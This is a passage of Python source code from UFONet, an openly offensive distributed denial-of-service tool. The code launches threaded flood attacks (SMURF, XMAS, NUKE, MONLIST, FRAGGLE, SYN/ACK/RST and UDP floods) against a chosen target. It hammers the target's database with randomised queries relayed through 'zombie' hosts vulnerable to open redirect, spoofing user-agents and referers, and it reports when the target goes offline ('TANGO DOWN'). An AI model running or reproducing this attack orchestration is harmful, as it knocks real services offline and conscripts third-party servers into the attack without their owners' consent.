  5415. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  5416. self.t5.daemon = True
  5417. self.t5.start()
  5418. self.update_smurf_stats() # add new SMURF attack to mothership stats
  5419. if xmas:
  5420. try:
  5421. self.options.xmas = int(xmas)
  5422. except:
  5423. self.options.xmas = 101 # default XMAS requests
  5424. if self.options.xmas < 1:
  5425. self.options.xmas = 101
  5426. self.instance = XMAS() # instance main class for XMAS operations
  5427. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  5428. self.t6.daemon = True
  5429. self.t6.start()
  5430. self.update_xmas_stats() # add new XMAS attack to mothership stats
  5431. if nuke:
  5432. if sys.platform == "linux" or sys.platform == "linux2":
  5433. try:
  5434. self.options.nuke = int(nuke)
  5435. except:
  5436. self.options.nuke = 10000 # default NUKE requests
  5437. if self.options.nuke < 1:
  5438. self.options.nuke = 10000
  5439. self.instance = NUKE() # instance main class for NUKE operations
  5440. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  5441. self.t7.daemon = True # extra weapons are threaded as daemons
  5442. self.t7.start()
  5443. self.update_nuke_stats() # add new NUKE attack to mothership stats
  5444. else:
  5445. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  5446. if tachyon:
  5447. try:
  5448. self.options.tachyon = int(tachyon)
  5449. except:
  5450. self.options.tachyon = 1000 # default TACHYON requests
  5451. if self.options.tachyon < 1:
  5452. self.options.tachyon = 1000
  5453. self.instance = TACHYON() # instance main class for TACHYON operations
  5454. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  5455. self.t8.daemon = True
  5456. self.t8.start()
  5457. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  5458. if monlist:
  5459. try:
  5460. self.options.monlist = int(monlist)
  5461. except:
  5462. self.options.monlist = 1000 # default MONLIST requests
  5463. if self.options.monlist < 1:
  5464. self.options.monlist = 1000
  5465. self.instance = MONLIST() # instance main class for MONLIST operations
  5466. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  5467. self.t9.daemon = True
  5468. self.t9.start()
  5469. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  5470. if ufoack:
  5471. try:
  5472. self.options.ufoack = int(ufoack)
  5473. except:
  5474. self.options.ufoack = 101 # default UFOACK requests
  5475. if self.options.ufoack < 1:
  5476. self.options.ufoack = 101
  5477. self.instance = UFOACK() # instance main class for UFOACK operations
  5478. self.t10 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoack)) # UFOACK using threads
  5479. self.t10.daemon = True
  5480. self.t10.start()
  5481. self.update_ufoack_stats() # add new UFOACK attack to mothership stats
  5482. if uforst:
  5483. try:
  5484. self.options.uforst = int(uforst)
  5485. except:
  5486. self.options.uforst = 101 # default UFORST requests
  5487. if self.options.uforst < 1:
  5488. self.options.uforst = 101
  5489. self.instance = UFORST() # instance main class for UFORST operations
  5490. self.t11 = threading.Thread(target=self.instance.attacking, args=(target, self.options.uforst)) # UFORST using threads
  5491. self.t11.daemon = True
  5492. self.t11.start()
  5493. self.update_uforst_stats() # add new UFORST attack to mothership stats
  5494. if droper:
  5495. try:
  5496. self.options.droper = int(droper)
  5497. except:
  5498. self.options.droper = 101 # default DROPER requests
  5499. if self.options.droper < 1:
  5500. self.options.droper = 101
  5501. self.instance = DROPER() # instance main class for DROPER operations
  5502. self.t12 = threading.Thread(target=self.instance.attacking, args=(target, self.options.droper)) # DROPER using threads
  5503. self.t12.daemon = True
  5504. self.t12.start()
  5505. self.update_droper_stats() # add new DROPER attack to mothership stats
  5506. if overlap:
  5507. try:
  5508. self.options.overlap = int(overlap)
  5509. except:
  5510. self.options.overlap = 101 # default OVERLAP requests
  5511. if self.options.overlap < 1:
  5512. self.options.overlap = 101
  5513. self.instance = OVERLAP() # instance main class for OVERLAP operations
  5514. self.t13 = threading.Thread(target=self.instance.attacking, args=(target, self.options.overlap)) # OVERLAP using threads
  5515. self.t13.daemon = True
  5516. self.t13.start()
  5517. self.update_overlap_stats() # add new OVERLAP attack to mothership stats
  5518. if pinger:
  5519. try:
  5520. self.options.pinger = int(pinger)
  5521. except:
  5522. self.options.pinger = 101 # default PINGER requests
  5523. if self.options.pinger < 1:
  5524. self.options.pinger = 101
  5525. self.instance = PINGER() # instance main class for PINGER operations
  5526. self.t14 = threading.Thread(target=self.instance.attacking, args=(target, self.options.pinger)) # PINGER using threads
  5527. self.t14.daemon = True
  5528. self.t14.start()
  5529. self.update_pinger_stats() # add new PINGER attack to mothership stats
  5530. if ufoudp:
  5531. try:
  5532. self.options.ufoudp = int(ufoudp)
  5533. except:
  5534. self.options.ufoudp = 101 # default UFOUDP requests
  5535. if self.options.ufoudp < 1:
  5536. self.options.ufoudp = 101
  5537. self.instance = UFOUDP() # instance main class for UFOUDP operations
  5538. self.t15 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoudp)) # UFOUDP using threads
  5539. self.t15.daemon = True
  5540. self.t15.start()
  5541. self.update_ufoudp_stats() # add new UFOUDP attack to mothership stats
  5542. if fraggle:
  5543. try:
  5544. self.options.fraggle = int(fraggle)
  5545. except:
  5546. self.options.fraggle = 101 # default FRAGGLE requests
  5547. if self.options.fraggle < 1:
  5548. self.options.fraggle = 101
  5549. self.instance = FRAGGLE() # instance main class for FRAGGLE operations
  5550. self.t16 = threading.Thread(target=self.instance.attacking, args=(target, self.options.fraggle)) # FRAGGLE using threads
  5551. self.t16.daemon = True
  5552. self.t16.start()
  5553. self.update_fraggle_stats() # add new FRAGGLE attack to mothership stats
  5554. if sniper:
  5555. try:
  5556. self.options.sniper = int(sniper)
  5557. except:
  5558. self.options.sniper = 101 # default SNIPER requests
  5559. if self.options.sniper < 1:
  5560. self.options.sniper = 101
  5561. self.instance = SNIPER() # instance main class for SNIPER operations
  5562. self.t17 = threading.Thread(target=self.instance.attacking, args=(target, self.options.sniper)) # SNIPER using threads
  5563. self.t17.daemon = True
  5564. self.t17.start()
  5565. self.update_sniper_stats() # add new SNIPER attack to mothership stats
  5566. def stressing(self, target, zombie):
  5567. # perform a DDoS Web attack against a target, requesting records on target's database
  5568. options = self.options
  5569. db_input = self.options.dbstress
  5570. def random_key(length):
  5571. key = ''
  5572. for i in range(length):
  5573. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  5574. return key
  5575. # generating random alphanumeric queries
  5576. if self.db_flash > 9: # set db flash start on: 10
  5577. length = 1024 # search a heavy random length query (db flash): 1024
  5578. self.db_flash = 0 # reset db flash counter
  5579. else:
  5580. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  5581. key = str(random_key(length))
  5582. if self.db_flash > 9:
  5583. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  5584. else:
  5585. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  5586. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5587. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5588. if not target.endswith('/'): # add "/" to end of target
  5589. target = target + "/"
  5590. url = zombie + target + db_input + key
  5591. req = urllib.request.Request(url, None, headers)
  5592. if options.proxy: # set proxy
  5593. self.proxy_transport(options.proxy)
  5594. try:
  5595. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5596. except urllib.error.HTTPError as e:
  5597. if e.code == 401:
  5598. print('[Info] [AI] [DBStress] Not authorized')
  5599. elif e.code == 404:
  5600. print('[Info] [AI] [DBStress] Not found')
  5601. elif e.code == 503:
  5602. print('[Info] [AI] [DBStress] Service unavailable')
  5603. else:
  5604. print('[Info] [AI] [DBStress] Unknown error')
  5605. else:
  5606. print('[Info] [AI] [DBStress] Database query: HIT!')
  5607. def attackme(self, zombies):
  5608. # perform a DDoS Web attack against yourself
  5609. print("[AI] Starting local port to listening at: " + self.port + "\n")
  5610. print('='*21 + "\n")
  5611. self.doll=Doll(self)
  5612. self.doll.start()
  5613. while not self.doll._armed:
  5614. time.sleep(1)
  5615. # send Open Redirect injection (multiple zombies-multiple target urls)
  5616. target = ""
  5617. self.injection(target, zombies)
  5618. self.doll.shutdown()
  5619. self.doll.join()
  5620. self.herd.list_fails()
  5621. def check_target_status(self):
  5622. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  5623. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  5624. if not self.options.forceyes:
  5625. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  5626. print("\n" + '-'*25)
  5627. else:
  5628. update_reply = "N"
  5629. if update_reply == "y" or update_reply == "Y":
  5630. try: # send HEAD connection
  5631. self.head = True
  5632. reply = self.connect_zombie(target)
  5633. self.head = False
  5634. if reply:
  5635. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  5636. else:
  5637. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  5638. self.update_targets_crashed() # update targets crashed stats
  5639. self.update_mothership_stats() # update mothership completed attack stats
  5640. except Exception:
  5641. print("\n[Error] [AI] Something wrong with your connection!...\n")
  5642. if DEBUG == True:
  5643. traceback.print_exc()
  5644. return
  5645. else:
  5646. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  5647. self.update_targets_crashed() # update targets crashed stats
  5648. self.update_mothership_stats() # update mothership completed attack stats
  5649. return
  5650. def starting_target_check(self, target, head_check):
  5651. options = self.options
  5652. head_check_here = False
  5653. head_check_external = False
  5654. if options.disablehead: # check at start is disabled (skipping!)
  5655. print("[Info] [AI] Skipping external check...\n")
  5656. head_check_here = True
  5657. head_check_external = True
  5658. else:
  5659. if head_check:
  5660. if not options.attackme:
  5661. print("[AI] Launching: 'Is target up?' check...\n")
  5662. try: # send HEAD connection
  5663. self.head = True
  5664. reply = self.connect_zombie(target)
  5665. self.head = False
  5666. if reply:
  5667. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  5668. head_check_here = True
  5669. else:
  5670. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  5671. head_check_here = False
  5672. except Exception:
  5673. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  5674. if DEBUG == True:
  5675. traceback.print_exc()
  5676. head_check_here = False
  5677. else: # check if local IP/PORT is listening on mothership
  5678. print("[AI] Launching: 'Is NAT ready?' check...\n")
  5679. try:
  5680. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  5681. result = sock.connect_ex(('0.0.0.0',8080))
  5682. if result == 0 or result == 110: # black magic
  5683. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  5684. head_check_here = True
  5685. else:
  5686. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  5687. head_check_here = False
  5688. except Exception:
  5689. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  5690. if DEBUG == True:
  5691. traceback.print_exc()
  5692. head_check_here = False
  5693. else:
  5694. head_check_here = True
  5695. # check target using external check services
  5696. self.external = True
  5697. if not options.attackme:
  5698. try:
  5699. target = self.parse_url_encoding(target) # parse for proper url encoding
  5700. try:
  5701. url = self.external_check_service1 + target # check from external service [1]
  5702. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5703. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5704. if options.proxy: # set proxy
  5705. self.proxy_transport(options.proxy)
  5706. req = urllib.request.Request(url, None, headers)
  5707. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  5708. if b"returned code 200 OK and is up" in external_reply:
  5709. t = urlparse(self.external_check_service1)
  5710. name_external1 = t.netloc
  5711. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  5712. head_check_external = True
  5713. except:
  5714. url = self.external_check_service2 + target # check from external service [2]
  5715. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5716. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5717. if options.proxy: # set proxy
  5718. self.proxy_transport(options.proxy)
  5719. req = urllib.request.Request(url, None, headers)
  5720. try:
  5721. req_reply = urllib.request.urlopen(req, context=self.ctx).read()
  5722. if b"It's just you" in req_reply:
  5723. t = urlparse(self.external_check_service2)
  5724. name_external2 = t.netloc
  5725. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  5726. head_check_external = True
  5727. else:
  5728. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  5729. head_check_external = False
  5730. except urllib.error.HTTPError as e:
  5731. if e:
  5732. print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
  5733. print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  5734. head_check_external = False
  5735. except Exception:
  5736. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  5737. if DEBUG == True:
  5738. traceback.print_exc()
  5739. head_check_external = False
  5740. else:
  5741. try: # check mothership from public ip / NAT using HEAD request
  5742. try:
  5743. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  5744. reply = urllib.request.urlopen(req)
  5745. except Exception:
  5746. reply = None
  5747. if reply:
  5748. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  5749. head_check_external = True
  5750. else:
  5751. print("[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  5752. head_check_external = False
  5753. head_check_here = False # stop attack if not public IP available
  5754. except Exception:
  5755. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  5756. head_check_here = False # stop attack if not public IP available
  5757. if DEBUG == True:
  5758. traceback.print_exc()
  5759. head_check_external = False
  5760. self.external = False
  5761. return head_check_here, head_check_external
  5762. def injection(self, target, zombies, head_check = True):
  5763. options = self.options
  5764. # check target's integrity at start
  5765. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  5766. # ask user to confirm the attack
  5767. if head_check_here == True or head_check_external == True:
  5768. if not self.options.forceyes:
  5769. if not options.attackme:
  5770. if not options.disablehead:
  5771. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  5772. else:
  5773. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  5774. else:
  5775. if not options.disablehead:
  5776. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  5777. else:
  5778. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  5779. else:
  5780. start_reply = "Y"
  5781. if start_reply == "y" or start_reply == "Y":
  5782. if options.attackme:
  5783. total_rounds = 2 # default rounds for attackme
  5784. else:
  5785. total_rounds = options.rounds # extract number of rounds
  5786. try:
  5787. total_rounds = int(total_rounds)
  5788. except:
  5789. total_rounds = 1
  5790. if not total_rounds:
  5791. total_rounds = 1
  5792. if total_rounds <= 0:
  5793. total_rounds = 1
  5794. self.herd.cleanup()
  5795. num_round = 1
  5796. num_hits = 0
  5797. num_zombie = 1
  5798. # start to attack the target with [MODS]
  5799. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.fraggle or options.xmas or options.ufoack or options.uforst or options.droper or options.overlap or options.pinger or options.ufoudp or options.nuke or options.tachyon or options.monlist or options.sniper:
  5800. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.fraggle, self.options.xmas, self.options.ufoack, self.options.uforst, self.options.droper, self.options.overlap, self.options.pinger, self.options.ufoudp, self.options.nuke, self.options.tachyon, self.options.monlist, self.options.sniper)) # multithreading flow for extra attacks
  5801. ex.daemon = True # extra weapons are threaded as daemons
  5802. ex.start()
  5803. # start to attack the target with [ARMY]
  5804. zombies = self.extract_zombies() # extract zombies from file
  5805. if zombies:
  5806. self.total_zombie = len(zombies)
  5807. else:
  5808. self.total_zombie = 0
  5809. return
  5810. self.herd=Herd(self)
  5811. if not self.options.disablepurge:
  5812. self.discardzombies = []
  5813. self.discard_aliens = []
  5814. self.discard_droids = []
  5815. self.discard_rpcs = []
  5816. self.discard_ucavs = []
  5817. total_disc_zombies = 0
  5818. self.num_discard_zombies = 0
  5819. self.num_discard_aliens = 0
  5820. self.num_discard_droids = 0
  5821. self.num_discard_rpcs = 0
  5822. self.num_discard_ucavs = 0
  5823. self.empty_zombies = False
  5824. for i in range(0, int(total_rounds)): # start attacking using rounds
  5825. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  5826. print('='*42)
  5827. print('Starting round:', num_round, ' of ', total_rounds)
  5828. print('='*42)
  5829. self.herd.reset()
  5830. self.extra_zombies_lock = True
  5831. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  5832. self.send_zombies(zombies) # send [Zombies]
  5833. if not self.options.attackme:
  5834. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  5835. if self.options.verbose:
  5836. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  5837. self.send_extra_zombies() # send [ARMY]
  5838. while self.extra_zombies_lock == True:
  5839. time.sleep(1) # wait for [ARMY] to return
  5840. if self.options.verbose:
  5841. print("\n" + '='*42)
  5842. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  5843. else:
  5844. zombies_lock = 0
  5845. if self.options.expire: # set timing for purge
  5846. try:
  5847. timing = int(self.options.expire)
  5848. except:
  5849. timing = self.expire_timing # default timing for purge
  5850. else:
  5851. timing = self.expire_timing # default timing for purge
  5852. if timing < 1:
  5853. timing = self.expire_timing # default timing for purge
  5854. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5855. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  5856. zombies_lock = zombies_lock + 1
  5857. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5858. if self.options.verbose:
  5859. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5860. break
  5861. else:
  5862. time.sleep(1)
  5863. if self.options.verbose:
  5864. print("\n" + '='*42)
  5865. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  5866. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  5867. self.check_target_status()
  5868. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  5869. self.abandoning_zombies() # check for abandoning zombies
  5870. for zombie in self.herd.done: # check for num hits
  5871. if self.herd.connection_failed(zombie) == False:
  5872. num_hits = num_hits + 1
  5873. num_zombie = num_zombie + 1
  5874. if num_zombie > self.total_zombie:
  5875. num_zombie = 1
  5876. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  5877. check_is_loading = self.check_is_loading(target)
  5878. self.herd.dump_html()
  5879. if not self.options.disablepurge:
  5880. if self.empty_zombies == True:
  5881. break # exit routine when not any more zombies
  5882. num_round = num_round + 1
  5883. if self.options.verbose:
  5884. print("\n" + '='*42)
  5885. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  5886. if self.options.loic: # try to stop daemons/threads for extra weapons
  5887. self.t1.join()
  5888. if self.options.loris:
  5889. self.t2.join()
  5890. if self.options.ufosyn:
  5891. self.t3.join()
  5892. if self.options.spray:
  5893. self.t4.join()
  5894. if self.options.smurf:
  5895. self.t5.join()
  5896. if self.options.xmas:
  5897. self.t6.join()
  5898. if self.options.nuke:
  5899. self.t7.join()
  5900. if self.options.tachyon:
  5901. self.t8.join()
  5902. if self.options.monlist:
  5903. self.t9.join()
  5904. if self.options.ufoack:
  5905. self.t10.join()
  5906. if self.options.uforst:
  5907. self.t11.join()
  5908. if self.options.droper:
  5909. self.t12.join()
  5910. if self.options.overlap:
  5911. self.t13.join()
  5912. if self.options.pinger:
  5913. self.t14.join()
  5914. if self.options.ufoudp:
  5915. self.t15.join()
  5916. if self.options.fraggle:
  5917. self.t16.join()
  5918. if self.options.sniper:
  5919. self.t17.join()
  5920. if self.options.target_list:
  5921. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  5922. print ("\x1b[2J\x1b[H") # black magic
  5923. if not self.options.attackme: # show herd results
  5924. self.herd.dump()
  5925. else: # show doll results
  5926. print('='*21)
  5927. print("\n[Info] [AI] Mothership transmission...\n")
  5928. num_real_zombies = len(self.doll.real_zombies)
  5929. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  5930. for z in self.doll.real_zombies: # show only alien verified zombies
  5931. for x in z:
  5932. print(" - " + str(x))
  5933. self.herd.dump_html(True) # show (all) zombies statistics
  5934. if not self.options.attackme:
  5935. if not self.options.disablepurge:
  5936. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  5937. else:
  5938. if not options.target_list:
  5939. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  5940. else:
  5941. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  5942. self.update_mothership_stats() # update mothership stats
  5943. if not self.options.disablepurge:
  5944. print('='*21+ "\n")
  5945. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  5946. if total_disc_zombies > 0 and total_disc_zombies < 2:
  5947. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  5948. elif total_disc_zombies > 1:
  5949. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  5950. if self.num_discard_zombies > 0:
  5951. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  5952. if self.num_discard_aliens > 0:
  5953. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  5954. if self.num_discard_droids > 0:
  5955. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  5956. if self.num_discard_rpcs > 0:
  5957. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  5958. if self.num_discard_ucavs > 0:
  5959. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  5960. if total_disc_zombies > 0:
  5961. if not self.options.forceyes:
  5962. if total_disc_zombies > 0 and total_disc_zombies < 2:
  5963. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  5964. elif total_disc_zombies > 1:
  5965. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  5966. else:
  5967. backup_reply = "Y"
  5968. if backup_reply == "y" or backup_reply == "Y":
  5969. print("\n[Info] [AI] Purging failed units from files...\n")
  5970. discarded = []
  5971. if self.num_discard_zombies > 0:
  5972. for z in self.discardzombies:
  5973. discarded.append(z)
  5974. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  5975. if self.num_discard_aliens > 0:
  5976. for a in self.discard_aliens:
  5977. discarded.append(a)
  5978. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  5979. if self.num_discard_droids > 0:
  5980. for d in self.discard_droids:
  5981. discarded.append(d)
  5982. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  5983. if self.num_discard_rpcs > 0:
  5984. for r in self.discard_rpcs:
  5985. discarded.append(r)
  5986. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  5987. if self.num_discard_ucavs > 0:
  5988. for u in self.discard_ucavs:
  5989. discarded.append(u)
  5990. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  5991. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  5992. if disc_zombies > 0 and disc_zombies < 2:
  5993. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  5994. elif disc_zombies > 1:
  5995. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  5996. if not self.options.target_list:
  5997. print('-'*21+ "\n")
  5998. print("[AI] "+self.exit_msg+"\n")
  5999. if not self.options.web:
  6000. return
  6001. else:
  6002. if self.num_target_list > 0: # still more targets
  6003. print('-'*21+ "\n")
  6004. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  6005. return
  6006. else: # finish attack from multiple targets
  6007. print('-'*21+ "\n")
  6008. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  6009. print("\n"+ '='*21+ "\n")
  6010. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  6011. print("\n"+ '-'*21+ "\n")
  6012. print("[AI] "+self.exit_msg+"\n")
  6013. if not self.options.web:
  6014. return
  6015. else:
  6016. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  6017. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  6018. if os.path.exists('mothership') == True:
  6019. os.remove('mothership') # remove mothership stream
  6020. if os.path.exists('alien') == True:
  6021. os.remove('alien') # remove random alien worker
  6022. if not options.web:
  6023. sys.exit(2) # exit
  6024. else:
  6025. return
  6026. else:
  6027. print("\n" + '='*21)
  6028. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  6029. if AI_reply == "y" or AI_reply == "Y":
  6030. self.AI() # AI fortune cookie
  6031. print('-'*21+ "\n")
  6032. print("\n[AI] "+self.exit_msg+"\n")
  6033. if os.path.exists('mothership') == True:
  6034. os.remove('mothership') # remove mothership stream
  6035. if os.path.exists('alien') == True:
  6036. os.remove('alien') # remove random alien worker
  6037. if not options.web:
  6038. sys.exit(2) # exit
  6039. else:
  6040. return
  6041. else:
  6042. if not options.attackme:
  6043. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  6044. else:
  6045. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  6046. print("\n" + '-'*21)
  6047. print("\n[AI] "+self.exit_msg+"\n")
  6048. if os.path.exists('mothership') == True:
  6049. os.remove('mothership') # remove mothership stream
  6050. if os.path.exists('alien') == True:
  6051. os.remove('alien') # remove random alien worker
  6052. return
  6053. if __name__ == "__main__":
  6054. app = UFONet()
  6055. options = app.create_options()
  6056. if options:
  6057. app.run()